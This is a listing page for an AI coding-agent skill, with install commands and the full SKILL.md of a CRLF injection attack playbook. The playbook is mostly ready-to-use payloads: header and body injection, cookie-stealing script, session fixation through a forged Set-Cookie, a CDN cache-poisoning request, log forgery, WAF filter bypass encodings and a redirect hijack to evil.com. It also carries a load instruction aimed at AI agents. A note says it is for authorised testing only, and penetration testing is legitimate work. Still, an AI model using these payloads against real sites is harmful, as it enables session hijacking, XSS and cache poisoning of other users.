crlf-injection — Claude Code skill: CRLF injection playbook
A playbook for CRLF injection: smuggling carriage-return and line-feed characters into response headers, redirects and logs. Useful when scanners miss it.
npx skills add yaklang/hack-skills --skill crlf-injection -a claude-codeWhat crlf-injection does
The skill covers HTTP response splitting. When user input reaches response headers, Location, Set-Cookie values or log files without sanitising, \r\n characters let you add headers or even a response body. Inside are basic probes like %0D%0ANew-Header:injected, double CRLF for body injection, and exploitation chains: session fixation through Set-Cookie, XSS via the response body, CDN cache poisoning, and forged log entries through User-Agent.
A separate section handles filter bypass. When %0D%0A is blocked, the playbook suggests lone %0D and %0A, double encoding as %250D%250A, the Unicode sequence %E5%98%8A%E5%98%8D, and injecting into the parameter name instead of the value. There is a table of vulnerable code patterns in PHP, Python, Node.js and Java. For Java services where a WAF strips %0D%0A, the skill routes you to the companion ghost-bits-cast-attack, which substitutes U+760D and U+760A.
It closes with an eight-point checklist: redirect parameters, Set-Cookie paths, double CRLF, encoding bypasses, response cacheability, logs, session fixation, and Location injection on 302 responses. This is for testing your own applications or authorised engagements — not for other people's sites without permission.
What it helps with
- check whether input is reflected into response headers unsanitised
- add a
Set-Cookieheader through a redirect parameter - get XSS by injecting a response body with double CRLF
- poison a CDN cache with a forged response
- forge log entries through
User-Agent
Example prompts for the agent
- test the url parameter for CRLF injection: send %0D%0AX-Injected:true and check the response headers
- try double CRLF for body injection and XSS on this redirect
- the WAF blocks %0D%0A — what bypasses work for a Java service?
How to install crlf-injection
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill crlf-injection -a claude-code2Manually: put the files in place
~/.claude/skills/crlf-injection/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/crlf-injection/
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill crlf-injection -a codex2Manually: put the files in place
.agents/skills/crlf-injection/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill crlf-injection -a cursor2Manually: put the files in place
.cursor/skills/crlf-injection/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install yaklang/hack-skills crlf-injection2Manually: put the files in place
.github/skills/crlf-injection/SKILL.md1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill crlf-injection -a gemini-cli2Platform CLI
gemini skills install https://github.com/yaklang/hack-skills --path skills/crlf-injectionManually: put the files in place
.devin/skills/crlf-injection/SKILL.mdThe legacy .windsurf/skills/ path still works
Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill crlf-injection -a opencodeClaude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about crlf-injection
How do I install crlf-injection in Claude?
Run npx skills add yaklang/hack-skills --skill crlf-injection -a claude-code. The skill lands in ~/.claude/skills/crlf-injection/SKILL.md.
What does crlf-injection do?
It is a CRLF injection playbook: probes, exploitation through Set-Cookie, response body and cache, filter bypasses, and a testing checklist.
What if a WAF blocks %0D%0A?
The skill suggests lone %0D and %0A, double encoding, and a Unicode sequence. For Java services it points you to ghost-bits-cast-attack.
Source text
SKILL.md · MIT
---
name: crlf-injection
description: >-
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
---
# SKILL: CRLF Injection — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
## 0. RELATED ROUTING
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked — substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
## 1. CORE CONCEPT
CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
```
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
```
---
## 2. DETECTION
### Basic Probe
```text
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
```
### Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
```text
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
```
---
## 3. EXPLOITATION SCENARIOS
### Session Fixation via Set-Cookie
```text
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
```
### XSS via Response Body
```text
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
```
### Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
```text
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
```
### Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
```text
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
```
---
## 4. FILTER BYPASS
| Filter | Bypass |
|---|---|
| Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) |
| URL decodes once | Double-encode: `%250D%250A` |
| Strips `\r\n` literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |
```text
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
```
---
## 5. REAL-WORLD EXPLOITATION CHAINS
### CRLF + Session Fixation
```text
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
```
### CRLF → XSS via Double CRLF Body Injection
```text
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
```
### CRLF in 302 Location → Redirect Hijack
```text
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
```
---
## 6. COMMON VULNERABLE PATTERNS
```php
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));
```
---
## 7. TESTING CHECKLIST
```
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
```
© yaklang · MIT · yaklang/hack-skills